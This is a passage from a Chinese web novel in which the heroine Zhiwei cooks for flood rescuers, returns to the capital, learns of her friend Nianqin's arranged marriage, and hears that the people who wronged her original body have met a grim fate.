小丫鬟抽抽噎噎,“不知道咱们城里什么样了……那边水更大……” 知微笑道,“不是说城里已经空了?有我爹在呢,且不必担心,外头的水可下去许多了?” “啊对,要不要看看我们捉到了什么?” 于是,知微成功的转移了三人的注意力,即使是平日里稳重的高雅若也对着一堆的白白净净的小兔子看迷了眼,二人一人选了一只,直抱着不撒手。 却听知微道,“那剩的这三只大肥兔子我便去杀了吃了啊,我看大家伙儿都挺累的,我还做了几个陷阱,晚些时候去看看有猎物没,晚上给大家伙加餐。” 高雅晴咬了咬唇,给桃儿使了个颜色,桃儿眼疾手快,又抱了只小白兔,二人头也不回的便跑回洞中去了…… 知微只笑看着她们,叹了口气,掩下神色,也不知青州那到底如何了。 第二日,冯三不光送来了几匹马,还带来了青州城内水已排空的消息。 众人大喜,山路也快通开了。 只还有些行李没找到,冯三得了侯爷的命令,一直在帮着寻找。 高氏叹了口气,在一旁不住夸赞,这个安定侯,其实,人还不错,想的也太周到了些,咱们,咱们,哎。 其实吧,从顾铭珏跟着知微跳下山崖的那一刹那,高氏心里就大受感动。 觉得这人对自己女儿确实是用了真心的。 这又帮着救人,又命人帮着找行李,今日还送了好几匹马呢,这时候到处发水,这马可难寻呢,这人一送还送了好几匹。 她心里这天平,就开始往这位的身边倾斜了。 叫她说,这人除了年纪大了点,旁的也没什么毛病啊,嗯,也不对,听说他府上还几个孩子呢,罢了,叫她再观望观望。 知微见娘亲这模样,嘴角抽了抽,娘亲这模样是一点不担心她爹啊,虽说顾铭珏报的都是好消息,但是前世无数次在电视机看到的洪灾告诉她,这次的灾情,没那么简单。 但是她们不能回去。 爹将她们赶走,她们便不能回去给爹爹添乱,只能向京城的方向走。 叫知微倍感意外的是,太阳快落山的时候,宋言澈来了。 风尘仆仆的,应来的很急,一路并未停歇。 才几日未见,这人便消瘦了许多,下巴上也冒出了许多青须,他带来了沈父的信件,交由高氏并简单诉说着青州目前的情况。 知微心知这人怕是一路米水未进,便叫娘亲先看信,自己则是到洞外搭建的简易灶台做饭去了。 怎么的也得叫人吃饱。 腊肉和米都有,蒸个腊肉饭吧,再炒个野菜,这个时候这些东西已经是难得的美味了。 也不知道爹那边的粮食够不够用。 心不在焉的将饭蒸上,刚要生火,便见有人一屁股坐在了她身旁。 转过脸一看,这人怎么也来了,一天天的瞎折腾,也不嫌累。 知微见他一脸疲惫,也没说什么,顾铭珏也不说话,看了她两眼后直接在她身边躺下睡了过去。 秒睡? 知微张了张嘴,皱着眉头看着地上睡熟的人,这是累到什么样了,地上还有碎石呢,也不嫌咯的慌,这样都能睡着。 叹了口气,也知道这人不知熬了几宿了。 天气挺热的,她也没再管顾铭珏,又抓了把野菜开始摘,想了想又拿了两个新鲜的竹笋准备炒了,拿出目前的最高规格来招待二人。 一转身便见宋言澈也来到了她身旁,也不说话,只定定的看着她,眼睛里有劫后余生的激动,还带着几分怅然和失落。 知微只当看不懂,朝他扬唇笑道,“不若你也睡上一会?饭菜马上就好。” 第92章 许是太累了,宋言澈竟然真的睡了,且睡的极安稳。他在知微 许是太累了,宋言澈竟然真的睡了,且睡的极安稳。 他在知微的另一边不远的地方,就那么坐在树下,也不说话,就那么盯着她看,像是心中的巨石落了地,没一会便靠着大树沉沉睡去。 二人的睡姿极为不同,宋言澈呼吸平稳面容清俊即使面上冒了胡茬也是文雅的,顾铭珏抱着膀子眉心微皱躺在地上很是豪放。 知微看看这一左一右的二人,叹了口气。 这两人还真是,非得较这个劲,有来一趟的功夫,找个地方睡上一觉多好。 心里抱怨归抱怨,手上的动作却还是放轻了许多。 总归二人现在都是为百姓鞍前马后呢,也不能苛待二人。 她见二人睡的正熟,也没急着做饭了,摘好菜便坐在二人不远,一边想晚上做什么菜一边帮着打蚊子。 这两日她可是被蚊子给咬坏了。 于是当高雅晴同双胞胎几人带着猎物满载而归的时候,乍然看见知微身边一左一右一个躺地上一个靠着树的两人都被吓了一跳。 彼时已经夕阳西下,天空昏黄,又是夏日,树叶郁郁葱葱的,高雅晴还没来得及喊出来的表姐便被小丫鬟一把给捂在了嘴里。 知微看见便指了指睡觉的两人,朝着他们走了几步,见猎物丰盛,朝几人竖了个大拇指。 高雅晴大眼睛亮晶晶的,也不纠结那两位睡觉的,就这争宠的骚操作,她也算是见惯了的。 她小声道表姐做的陷阱可厉害了,这獐子肥的很,可不少肉呢。 高雅若和几个小丫鬟则是摇着自己手里的篮子显摆,好家伙,可是挖了不少,还有些野桃子野葡萄呢。 知微笑着点头,夸赞几人干的都不错,咱们晚上可以大吃一顿了。 双胞胎带着人去清理獐子,清洗干净后送来。 挖野菜的几人也自觉去清洗了,身上多是脏污,还得在河边洗洗。 知微叫几人再拔些水芹菜过来。 晚上她好好给大家伙炖上一大锅肉,这几日都累坏了,解解馋还是可以的。 人多干活就是快,菜肉都洗净后,知微叫众人先回去休息,她则是带着两个婆子开始做饭。 如今正是用人的时候,所有人都在忙碌,也不分什么主仆了,连娘亲都带着丁嬷嬷在收拾行李,准备明日启程。 另口灶也已经开始冒烟了。 令人惊喜的事,高淮阳他们在回来的路上抓了两只山鸡,还捡了几枚鸡蛋。 知微笑着接过,成,今日再给大家做个蛋花汤,有菜有肉有汤有饭,大家都能吃的饱饱的。 肉炖上,焖饭也已经好了,叫人都盛出来,她继续炒菜。 山药切片清炒,砂锅炖了鸡汤给伤患,又炒了个野菜。 几枚野鸡蛋打了一大锅的野菜蛋花汤,蛋虽少,但她的手艺好啊,睡觉的二人没被做饭的动静吵醒,倒是先被香醒了。 又是肉又是菜的,能不香吗。 知微一转身便见二人睡眼蒙眬的望着她,倒是醒的正是时候,省得她喊了。 知微对二人道:“醒了就起来去洗手用膳吧。” 然后大声朝不远处恶狼似的小伙子大青年们喊道,成了,都拿着碗过来,开饭! 因着夏日,彼时天还未黑,但是山洞里已燃起了火堆。 知微将盛饭的任务交给婆子,也不管睡懵了的两人,自己则是起身拿碗筷去了。 知微盛了一碗饭,一抬头便见朝着自己伸手的两个男人,她抿着嘴无语看向二人,抬眸朝不远处看热闹的高淮阳喊了一声,二表兄,过来。 高淮阳咳嗽两声,极不情愿的挪了过去,知微将饭递给他,高淮阳接过便迅速跑开了。 高淮阳:看不见我看不见我,只要我跑的快,你们就看不见我! 知微转身又看还是一模一样动作的二人,挑了挑眉,从旁边拿了两只空碗,一人手里塞了一个。 冲旁边打饭的婆子努努嘴,“盛吧。” 二人:嗯…… 一顿饭吃的十分热闹,光护卫就二三十人呢,因着定了明日启程,大家也都早早的准备休息。 饭后二人就要走了,各有各的任务。 知微忙问青州城内的水可下去了,粮食可够吃。 宋言澈嗯了一声,叫她放心,“斐然兄集结商贾捐了很多粮食,不光如此,你外祖母也拿出了自己的存粮,所以目前粮食还是够吃的,只是,周围村镇不少房子被冲垮了。” 顾铭珏也在一旁道,“陛下命本侯前往山城运粮和物资,旨意已经到了,本侯这便出发了,一路保重。” 说完便在夜色下头也不回的策马走了,百姓的温饱也在他身上呢,耽误不得。 知微远远的望着顾铭珏离开,也算松了口气,转身对宋言澈道,“我们回京后也会帮着筹集善款,其实我们本应留下帮忙的,可,父亲应是希望我们尽快回京,我们便不久留了,还望侯爷和宋大人多保重。” 哪能不理解呢,他们在这一日,沈大人定是一日不能放心的,包括二人,都也是希望知微越早回去越好。 知微也不执着于救人,她也有她的使命,这一路,她会力所能及的筹集些药材运过来的。 如今天热,还是要早早的防疫比较好。 她给父亲去了信,提醒父亲被洪水淹过的禽类和粮食都要就地处理掉。 沈鸿自是有经验的,他一路带了十几位医者,已经在开始做防疫的工作了。 死掉的动物等已经就地掩埋,更是很严肃的做了科普,百姓虽然心疼,却也是更惜命的。 于是这一场灾害,虽然损失了不少的财物,人却是没有多少伤亡的,也算是大兴建国百年以来的奇迹了。 叫知微觉得好笑的是,她那位向来沉稳的大表姐,竟然在宋言澈快要上马时小跑过来,关心完高家众人后,支支吾吾的询问她那位未婚夫的情况。 宋言澈自是如实相告,因为紧缺人手,钱公子一直在沈大人身边帮忙,且做的很好。 高雅若听了脸上这才放心,属实是真爱无疑了。 翌日清晨,车队早早的收拾齐整,低调离开。 只是人员要少了许多,只留了十几个京中来的护卫,其余人都回了青州。 尤其青州本地的,虽多有受伤,但休息了两日,不光惦念亲人,心里早就想回去帮着重建家园。 毕竟冲榻的,可能就是他们自己的家啊。 青州各地正是用人的时候,这也是高氏和几个孩子商量之后的结果。 不留下添乱。 他们只带了京里带来的护卫,顾铭珏好似猜到她们会这样安排,早早的派了初九同她们一同回京。 车上还有些断了胳膊腿的伤患,还得有人帮忙照顾着。 十三同暗夜则是另有任务,才几日的功夫如今已经在京城了。 之后回程便顺利多了。 路上陆续能见到去往青州方向的车队,多是救济物资,也有徒步赶去帮忙赈灾的,人心在这一刻,显的异常的温柔。 她们至京城,已是十日后。 彼时的灾情已经传到了京中,人尽皆知。 城中也有官府设的捐款箱,路过的百姓多数会捐上一些,做自己力所能及的事情。 夏日的日头大的很,天气闷热的厉害,众人对归家充满了急切,尤其是对京都尚有陌生的高家大房几人,心里有期待也有激动,到了!终于到了! 沈知蕴得了信后便一直在期盼着娘亲和妹妹归家。估摸着娘亲她们应在今日至京都,一早用完早膳便至城门口等着了。 沈知晖拉都拉不住,知道娘亲和小妹须得午后到,也还是陪着她等着。 二人俱是十分惦念娘亲和小妹的,尤其沈知蕴的梦又成了真,已经提心吊胆了多日,如今娘亲带着知微归家了,他们总算松了口气。 今日日头很大,午时正是烈日当空,沈知蕴等在马车内,虽有冰鉴,却也还是热的。 翠儿坐不住,急不可耐的下了马车,沈知蕴怕她晒怀了,又给叫了上来。 沈知晖在车外来回踱步,内心也是焦灼的等着沈家车队的到来。 三人也算是望眼欲穿了,午时刚过,沈府的车队便到了。 远远的,沈知晖便见在前头开路的高淮安高淮阳两兄弟,紧接着是双胞胎。 高淮阳自是看到了大表兄的身影,忙不迭下马,沈知蕴听见动静,也下了马车。 几人一阵寒暄,终于,高氏她们的马车也到了。 高氏见到一双儿女也是红了眼眶,但也知城外不是说话的地方,便拉着沈知蕴和翠儿上了马车,一行人浩浩荡荡进了城。 车厢内,知微见娘亲和姐姐终于不哭了,这才松了翠儿的手,抱着沈知蕴的胳膊问道,“姐,你快说说,我离家这两个月,京中可发生了什么趣事?” 知微挑着眉,就差没把姐你快说说有没有八卦这几个字写脸上。 沈知蕴望着她,张着嘴欲言又止。 翠儿抿着嘴,小心的撇了姐姐一眼,老实的坐着,也没说话。 沈知蕴在妹妹热切的目光下半晌才道,“趣事没有,喜事到有一件,就是你可能不愿意听……” 知微笑了起来,心里却有些突突,“喜事我有何不愿意听的?” 她看翠儿脸上也是一言难尽的表情,又看看沈知蕴,“不是,姐你别吓我啊,何,何事?” 沈知蕴慢吞吞道,“是,太后懿旨,亲赐了念秦姑娘的婚事。” 这下连高氏都露出惊讶的表情,只听沈知蕴接着道,“太后是给忠勇侯府嫡次子崔文远和念秦姑娘赐了婚。” 知微脑袋已经跟不上沈知蕴的嘴了,她脑袋里只有几个字,谁?你说谁和谁? 沈知蕴继续扔炸弹,“且二人婚期已定,正是下月初八……” 坏了,知微脑子当机了。 半晌才道,“好,好突然啊,念秦姐姐可愿意?怎的婚事定的这样着急?” 沈知蕴实在解释不清,翠儿也一直摇头,徒留知微眼睛瞪得大大的脑袋懵懵的独自消化这个消息…… 坏了,吃瓜吃到好姐妹身上了! 第93章 一直到回府坐定,室内凉爽的温度都没让知微镇定下来。她脑 一直到回府坐定,室内凉爽的温度都没让知微镇定下来。 她脑子里都是念秦姐要嫁人了!嫁的人是崔文远! 诚然,她虽不甚了解崔文远其人,但也见过几次,对这位忠勇侯府嫡次子的印象是还算不错的。 但是!再不错那也是配不上她念秦姐姐的! 尤其这位曾经还是个纨绔,京中数一数二的二世祖! 虽然改过自新了吧,但是谁知道这人是不是本性难移,万一对吧? 不!没有万一! 她的脑袋乱乱的,又想每次见崔文远都是宋言澈一起的,二人关系应该不错,物以类聚,或许这人也还行? 崔文远之前经过了宋言澈的改造,奋发向上,如今是有举子身份的,虽然是榜上最后一名,但是,不能否认这也是人家努力拼搏堂堂正正考下来的。 她有些迟疑,心中免不了细数崔文远有什么优点是能配的上她的念秦姐。 长相? 还行吧,五官也算端正,但比宋言澈差一些的。 身高? 也算还行,但比顾铭珏矮半个头。 能力和手段? 比他们二人差远了,连沈知晖都比不上,在户部混了个七品闲差。 家世? 家世倒还算不错,虽说为侯府嫡子,但不占长啊,不用扛着家族重担,念秦嫁过去,也没那么多的烦心事。 可弊端也就出来了,崔文远上有长嫂下有弟妹的,念秦姐会不会受欺负? 念秦姐平时里话就不多,受了欺负她不说怎么办? 总之,就是一句话,太突然了,她接受不了。 终于食不下咽的吃了一小碗沈知蕴一早便差人备下的下车面,知微便急不可耐的换了身衣裳出了府。 她是真着急啊,一颗心早已飞到念秦身上了。 毕竟平心而论,与她交好的,除了陆兰芷,就是红叶和念秦了。 红叶像个长辈多些,对她多是关爱。 念秦亦师亦友,带着她一起成长,对她的好是独一份的,她记挂自是应该。 高氏也知小女儿同念秦的情谊,便由着她去了。还嘱咐她实在回不来晚上可以住在红叶那里,差下人归家来说一声便可。 高氏属实是越来越了解自己小女儿了。 车厢内,翠儿小心观察着姐姐的脸色,秉着晚说不如早说,横竖都是一刀的想法,开始组织语言。 在翠儿说她偶然认识了个朋友,后来却知道那人是六皇子的时候,知微本就不清醒的脑袋仿佛又被人来了当头一棒。 她有些呆愣的问道:“谁?你说谁?” 翠儿低着头不敢看她,白净的小脸上写满了紧张,支支吾吾道是六皇子。 她赶紧解释, “那日我刚从面馆出来,便见一人的钱包掉了,我捡起后帮着给送了过去,后来,后来又在面馆碰到了一次,他请我吃面,我便请他吃了别的,我见他年纪同我差不多大,还经常偶遇,一来二去的就熟悉了,后来,我和安乐外出时又遇到了他,才知他是六皇子……” 知微皱眉,“再后来呢?” 翠儿抿着嘴,怯怯的看了姐姐一眼继续道,“后来有一次在街上六皇子给了我一面团扇,但是被郑国公大小姐看到了,她要打我,被我躲了去,六皇子斥责她蛮不讲理,郑馨儿说要给我好看……” 知微揉了揉眉心,怕吓到翠儿,她尽量放轻了语气,“这是什么时候的事情?” 翠儿:“半,半月前。” 知微叹了口气,轻轻拍了拍翠儿僵直的脊背以做安抚,“这半月,你可曾受到过郑馨儿的什么报复?” 翠儿见姐姐并未生气,一瞬眼圈便红了,摇头道:“这半月我都未曾出府,知蕴姐姐说有大事要发生,轻易不叫我出去。” 知微点头,温柔着帮她擦掉脸上的泪,道,“怕什么,姐姐不是回来了,这事你可告诉你知蕴姐姐了?” 翠儿抽了抽鼻子,脑袋摇的跟拨浪鼓似的,“知蕴姐姐最近特别忙,有时候一日都窝在书房,我,我还没。” 知微无奈看着她,“是还没说,还是没敢说?” 翠儿咬着唇,小心翼翼的看着知微道,“没,没敢说。” 知微叹了口气,翠儿还是拿自己当外人呢。 等等,沈知蕴每日都去书房? 这位姐也在搞事啊…… 先将沈知蕴抛在一边,她脑中开始理整件事情,偶遇?哪这么巧,荷包就被翠儿看到并捡了,还那么容易就给还了回去。 这个局做的,也够难为六皇子的,屈尊降贵的接近翠儿。 她爹才走了多久啊,手可真的够长的,马上伸到翠儿这里了! 知微揉了揉翠儿的头发,看着这个一直跟着她已经在渐渐长大的小姑娘,安慰道,“无事,这事怕一开始就是个圈套,本就是冲你来的,你根本就逃不过,不过皇家那点事咱们还是不掺和的好,等爹爹回来咱们便告诉他,最近你先安心在家待着好不好?有姐姐在呢,万事不必担心,郑馨儿手可不敢伸到咱们府上去。” “啊对了,你功课最近怎么样了?武师傅不是外出了?你可有好好练功?” 知微转移话题,心里却是在一直盘算这个事情。 这位六皇子,就是冲着她爹来的,从翠儿身上下手,只能是因为翠儿年纪小,没什么心机,容易下套。 只是叫知微想不透的是,这位想干些什么呢,想拉拢沈爹?站位? 他前头还俩皇子呢,陛下龙体看着也不错,哪里就轮的着他了。 罢了,她对朝堂之事是毫无头绪,想了无用,归家后问问沈知蕴再说吧。 她还是不想叫翠儿过多的去接触这些事情,便也没有多说。 只是翠儿还是一脸的忐忑,应是怕自己沈家惹了祸。 “好了,不必再想了,姐姐回来了,定不会有事,不过我看你怎的也瘦了?这些日子心里是不是总惦记这事来了,不怕,没什么大不了的啊。” “晚上姐姐多做些好吃的,你多吃些,好好养养……” 马车很快便到了别苑,刚一进门便听香桃说红叶进宫了,念秦在自己家中待嫁呢。 知微疑惑,“自己家中?” 香云笑着解释,念秦祖上虽为秦家家仆,但也是有军功的,早就没了奴籍,彼时也是武将,在外头也是有宅邸的。 念秦家中也只余她一人,平日里,府上只有两位老仆守着,如今太后赐婚,婚期将至,念秦也不好继续抛头露面,只得回了自家府上待嫁。 知微这才知道其中故事,便问了香云地址,要找了去。 这时候正好十三办完差事回来,香云便由她带着知微和翠儿一起去了。 才没几日不见,十三又瘦了些,见知微和翠儿都捉着她打量,十三解释因前几日事态严重,她无休无眠的忙了几日,这些日子已经在修养了。 知微鼻子一酸差点掉下泪来,她看看十三又看看翠儿,十三跟着她时不说白白胖胖吧,脸上也是有肉的,哪里就瘦成这样了,如今倒成了黑瘦黑瘦的麻杆了。 她沈知微厨艺不错,也算是过了两辈子的人了,是必不能叫身边的人瘦下去的,今晚上她就得大展身手,好好犒劳犒劳大家伙儿。 念秦的宅子在西城,一处很安静的胡同。 宅子是二进的,收拾的很干净。 守门的是个独腿独眼的大伯,见是十三,也不问知微几人的身份,高兴的招呼几人进来。 对于知微的到来,念秦自是非常意外,她知道知微也就这两日便至京城,但是没想到这么快就到了。 看知微这风尘仆仆的模样,也知是没休息就过来了,心里一阵温热,忙不迭迎了上去。 寒暄过后,知微便开门见山的问出心中所有的疑虑。 知微这才知道,这婚事,是崔文远自己求来的。 原是念秦日前意外救了他一命,不知怎的,崔文远和跟魔怔了似的,对念秦是情根深种,且已经到了非卿不娶的地步,崔文远娘亲眼见儿子有了心上人,这还得了,亲去宫中求了太后赐婚。 无他,崔文远二十有三了,早已到了婚娶的年纪,眼看其同龄男子皆已成婚生子,而崔文远还是不愿意娶亲,这好不容易看中一个,侯夫人能放过才怪,于是便有了进宫求亲的事情。 因为太后老人家曾说过,秦家遗孤的婚事,须得经过她老人家的同意才行。 念秦倒是没什么想法。 嫁谁不是嫁呢,她已年过二十了,还能嫁的多好呢,且对她来说,嫁崔文远也实为高嫁。 于是,在这个过程中,知微又听到了她所不知的新内容。 红叶现在不是国安县主了,姐升咖了! 现在是国安郡主! 好家伙,说升就升了,给知微听的一愣一愣的。 其实皇帝和太后很早就有给红叶升郡主的想法了,只是红叶自己不愿。 此次因为念秦,红叶才同意提为郡主。 有她秦红叶一日,她便是念秦最坚实的靠山。 秦家和红叶为国为百姓所付出的,也确实配得上郡主的封号。 念秦这事,其实也给红叶打了个措手不及,她倒没想到崔文远这么有种,竟然公然求娶她身边最亲近之人。 红叶同崔文远和侯夫人分别谈过后,便也同意了这门婚事。 崔文远承诺,一不纳妾,二便是成亲后念秦依旧在红叶手底下做事,侯府不会干预。 其实他们想干预也干预不了,红叶要的只是崔文远的一句话罢了。 念秦同样是为皇帝做事,忠勇侯哪敢将皇帝的人拘在后院,自是不敢有异议的,就只有崔文远这个傻蛋,真以为念秦只是红叶的医女呢。 室内有冰鉴,知微抱着红叶的胳膊一直在一旁碎碎念,应是终于放下了心,不知何时竟趴在念秦肩头睡着了。 一路的长途跋涉,不累就奇了怪了。 念秦看着知微不住的心疼,这小脸,在沈家养出来的肉出去一趟又全瘦回去了。 听十三说了在青州发生的事情,念秦和红叶都很欣慰。 知微从来不是什么软弱的,从前在安定侯府时,她给自己披上了一层乖巧懂事的外衣,任劳任怨,竭尽全力讨好别人,只为能活下去,且能活的舒服一些。 如今,她也算是做回自己了,敢作敢当。 只是这些还不够,她们希望知微可以肆意的生长,敢爱敢恨逍遥自在才好。 当晚,知微留宿在了念秦这里。 翠儿和十三也是。 知微也没睡多长时间,她心里惦记着给众人做饭食,早早的就醒了过来。 她也不嫌累,清醒后就进了厨房,念秦是拉都拉不住,便任由她去了。 叫知微觉得欣喜的是,念秦府上后院种了不少的蔬菜,如今正是丰收的时候,角落还有养的鸡鸭呢,知微乐颠颠的跑去问府上的大叔大伯们她能不能杀两只鸡鸭来做菜吃吃。 于是,当红叶过来的时候,知微已经炖好了鸡鸭,正在炒菜了。 几人也不嫌厨房闷热,俱是围在知微旁边有说有笑。 红叶打量这瘦了一圈的小姑娘,心疼道:“怎的也不嫌累,到家了也不歇上一歇。” 她可是知道这人一惯的脾性,定是给婢女放了假,自己却在念秦这当厨娘。 知微讨好的笑笑,“我这不是想您和念秦姐了吗,尤其一听说念秦姐婚事定下了,我哪能坐的住呀,嘿嘿,晚上我就住这了,陪您和念秦姐说说话,我这趟南下,可干了不少大事呢。” 红叶笑着点头,心里却直叹气,这孩子,什么时候能不这么懂事呢,总是叫人心疼。 第94章 月儿弯弯,夏虫鸣翠,繁星点点。今夜正是个喝酒谈心的好日子。 月儿弯弯,夏虫鸣翠,繁星点点。 今夜正是个喝酒谈心的好日子。 晚膳后十三同翠儿被撵去休息了。 知微又炒了两个下酒菜,叫人抱了坛酒出来,就着月色,将酒杯斟满。 已是六月底,还有十日,便是念秦大婚的日子。 知微将杯中的酒水一饮而尽,咂咂嘴道,“婚期怎的定的如此着急,七月初八,天还热着呢。” 狗东西,嫁衣繁琐,热着我念秦姐姐怎么办! 红叶嗯了一声,捏了粒花生米道,“侯夫人找高僧合了二人的八字,定下的七月初八,但估摸着是崔文远那小子等不及了。” 知微撅着嘴,哼的一声将酒杯放下,气呼呼道,“明日我便去会会他,以后敢对念秦姐姐不好,看我不扒了他的皮。” 狗东西,叫你三伏天成亲! 念秦笑着给她递了把团扇,一旁的侍女又在每人身旁多点了个香,好不叫三人被蚊子咬。 “你去青州这些日子,看着倒是活泼了不少。” 知微不服气,“我才去了月余,两月都没有,京中就发生了这么些事了,连念秦姐姐要成亲我都是最后一个知道的。” 还孩子气似的哼了一声,又喝了口酒,忽的想到翠儿,又皱着眉头道,“姐姐可知六皇子为何忽然接近翠儿,听翠儿讲的时候,我头都要大了。” 这事念秦不知,红叶却是略知一二的,红叶一口饮尽杯中酒,挑眉道,“他啊,人不大,志向不小,为何接近翠儿这个尚且不知,左右也是惦记你父亲那点权势呢,叫翠儿待在府上一段日子,他找不着机会接近,也便放弃了。” 知微乖乖点头,道了一声好。 话锋一转,想到了崔文远,面颊气鼓鼓道,“不过我明日是定要会一会崔文远的,敢抢我姐姐!” 她们坐在梧桐树下,三人都换上了极薄的纱衣,时不时的凉风吹过,十分惬意,丝毫不觉得热。 念秦却笑了起来,道:“其实我原以为他那句以身相许是说笑的,没想到竟是认真的,以往只能算是点头之交,他说情根深种,我是不信的,只是嫁便嫁了,嫁谁不是嫁呢。” 红叶却笑了,眼神里带着揶揄,“这小子,怕是早就对你有了贼心,那次同知微在竹林野炊,我是瞥见了他偷偷看你的,当时没在意,现在想想,他看你的眼神可不清白。” 知微撇着嘴,愤怒道,“我就知道,狗东西早就起了心思了,什么救命之恩以身相许,全是借口!” 念秦却慢慢红了脸,嗯了一声,淡笑着抿了口酒,爹爹娘亲他们看到今日,应会放心了…… 知微觉得这桑葚酒甜滋滋的,比桃花酿还甜,酒气也不重,便一杯一杯的当果汁解渴,却不想这酒后劲挺大,她没几杯就红了脸。 脑袋也有些晕晕乎乎的了,脸蛋儿红扑扑的,时不时的还摇头晃脑。 红叶故意逗*她,“你念秦姐姐都要嫁人了,咱们小知微要嫁什么样的男子啊?” 知微眯着眼睛,咬着唇考虑了半晌才道,“嗯……嘿嘿,要长的好看的,对我好的,心里我是第一位才行。” 红叶突然问了句,“珏哥儿不行?” 知微停顿了一瞬,脸颊鼓鼓的,认真的摇了摇头,回答道,“顾铭珏,不行,他身上的担子太重了,放不下我了。” 她拿手比划,“一个人的心,就这么大,他放了国家,君主,长辈,儿孙,放不下我了。” 她的语气一本正经的,“抛开国家大义,他的家族在他心中是最重要的,我每次跟老太太对上,吃亏的都是我。” 打了个酒嗝,“我,我才不要被一个老太太欺负呢,不能还手还不能还嘴的,太憋屈。” 红叶也知知微说的都是对的,却还是免不了为珏哥儿可惜。 念秦就不是了,念秦一脸赞同的模样道,“不错,你说的对,嫁了他便是嫁给他那一整个侯府,没的叫你烦心。” 知微嘿嘿的笑了起来,眼睛湿漉漉的,小脸红扑扑的,嫩的能捏出水来,小模样十分招人疼。 “姐姐和我爹爹说的一样,他叫我同宋大哥好好相处,连我娘都被他策反了,我才不要呢。” 念秦听见宋言澈,她望着知微的模样也笑了起来,十分赞同道,“沈大人说的对啊,小宋大人确实挺好,没后院也没父母,每次见到你,眼睛都好似长在你身上,你嫁了他,必是没什么能叫你烦心的。” 知微却继续摇头,一本正经道:“不行,宋言澈也不行。” 二人一脸好奇问道,“为何宋言澈不行?” 知微撅着嘴,眼睛已然有些泛红,她抽了抽鼻子,说的话听起来有混乱,“他喜欢的,是知知,不是我,知知已经死了,我才不是知知。” “我,我是知微,叶知微,他喜欢的,从来不是叶知微……” 念秦和红叶对视一眼,二人十分不解,知知和知微,不都是她? 红叶叹了口气,只以为这孩子是喝醉了,语无伦次。 知知和知微,应是她的过去和现在吧,这孩子心中应也是有道过不去的槛,还得叫她自己想清楚才行。 念秦点头,觉得这孩子应是醉酒了,胡言乱语呢。 眼看知微又空了的酒杯,她忙制住了知微要再倒酒的手,起身将人扶起,小声的哄去睡觉去了。 红叶将杯中的酒水一饮而尽,知微的选择是正确的,还得想办法劝劝珏哥儿才好,总不能叫他继续深陷下去。 人啊,总是失去了才更珍惜。 翌日一早知微起床便有些头痛,她心知是醉酒后遗症,磨磨蹭蹭起来,小丫鬟适时的端了碗醒酒汤进来,她喝完后怔愣了半晌,这才感觉好一些。 起身沐浴换了身轻薄得体的藕粉色长裙,她这才注意到小丫鬟是自己院里的。 她咦了一声,“母亲一早差你们过来的?” 小丫鬟低眉顺眼,恭敬回答,“回二小姐,是大小姐命奴婢几个过来的。” 知微点头,昨日她将花影和月痕都撵了回去,叫她们好好歇歇,结果一早姐姐就将她院里的二等外套送来几个供她差遣,果然是做皇子妃的人,做事实在妥帖。 她点点头,想叫人拿纸笔过来,又觉得不用这么麻烦,便直接叫了个小厮去户部给崔文远递口信,午时她在别苑请崔大人用膳。 等她收拾齐整出来,便见红叶和念秦正在院里下棋呢。 她并不打扰二人下棋,坐下后接过丫鬟递过来的蔬菜粥小口小口的喝着。 待一局结束,红叶笑着问她可看的懂? 知微嘿嘿笑着回答,看不懂。 红叶笑她促狭鬼。 见她喝完了粥,问道,“可吃饱了?” 知微点头,“刚才喝了一大碗醒酒汤了,并不饿。” 红叶点头,直接对着空气来了句,下来吧。 就见不知哪里忽然飞下来个黑衣人,一身的夜行衣,看不见面容。 黑衣人单膝跪地道,“属下奉侯爷之命寻找叶刘氏同她表兄,现已找到,还请姑娘过目。” 十三也不知从哪里走了出来,接过黑衣人手中的信件,递给了知微。 知微还有一瞬间的怔愣,在听到那句,叶刘氏的时候,这才反应过来。 哦,是原主那个嫂子吧。 她并未说话,只是轻轻笑了笑,眼睛里却没几分笑意,她拿着信件,拿在手里看了半晌,这才抬眸对黑衣人道:“多谢,你先起来吧。” 她又冲周围的几人笑笑,这才打开了信件。 她自己都不知道,她的眼圈已经红了。 信上写的详细,从叶刘氏哪日卷款逃走,经过哪些地方,花钱买了哪些东西,都写的一清二楚,到她看到叶刘氏被她那个表兄毒打,并卖进妓院的时候,她终于大笑了起来,直到笑出眼泪,都没有停。 信件的最后,是叶刘氏得了花柳病,她那个表兄因为赌博被人切了三根手指,打断了腿。 虽然已满脸泪水,但是知微很开心,她们终于遭报应了,不是吗? 直到今日,她已经感觉不到原主的半点意识了,原主已经走了…… 还是迟了。 不过没关系,老天爷开眼,她们都遭报应了! 黑衣人询问,可要将二人带回来处置。 知微却将泪水一点点的擦净,面无表情道,“不必了,给他们添一把火吧,报应这才刚开始呢,叫他们慢慢熬的生不如死。” 她扬起一抹微笑,起身朝黑衣人揖礼道,“多谢。” 黑衣人自是不敢受她的礼,躲过后便闪身退下了。 知微转身对十三道,“你帮我招待一回这些帮我查这事的暗卫可好,面馆和小吃铺子,随便大伙吃,终身免费,本应我亲自下厨招待的,估摸着他们也不会去,晚些你同我去趟面馆,拿信物去,可行?” 知微眼巴巴的望着十三,十三却有些不知所措,转头去看红叶,见红叶点头,十三这才应了,知微这才开心起来,还啊了一声,还有跟你一起监视我的那个,也算上他的,不能叫他白护我一场。 红叶同念秦对视,都笑了出来,这孩子。 害原主的人,都遭了报应了,知微感觉心里轻松了不少。 有些,终于过去了的释然。 原主那养兄还是被养在了庄子上。 就在京郊。 知微今日便不去见了,听说他现在腿瘸了,但是精神还好,还有条命在呢。 他在学着种地,没办法啊,不干活就没的饭吃,改日吧,改日她前去告诉他这个好消息。 翠儿也练完了功,洗净换了衣裳过来了,翠儿现在的身后不错,已经能接住十三十几招了。 几人都在前厅,围着个冰鉴聊天说话,知微看时辰差不多了。 嘿嘿笑着起身抱着红叶的胳膊道,“红叶姐姐,咱们去别苑吧,我约了准姐夫喝茶。” 红叶捏了捏她的鼻子,“不准威胁人家啊。” 念秦无奈的看着知微,心知不叫她去是不可能的,便起身将几人送走,回房继续绣嫁衣去了。 想到还有几日便成婚,她拍了拍有些发热的脸颊,低头穿针引线。 这件是娘亲留下来的嫁衣,她改了改,差不多快要完工了,待成亲那日穿在身上,也算是爹爹和娘亲亲眼见证了。 第95章 翠儿被知微给送回了府,十三自有事情要忙。红叶同她慢慢悠 翠儿被知微给送回了府,十三自有事情要忙。 红叶同她慢慢悠悠的在城里转了一圈,这才到了别苑。 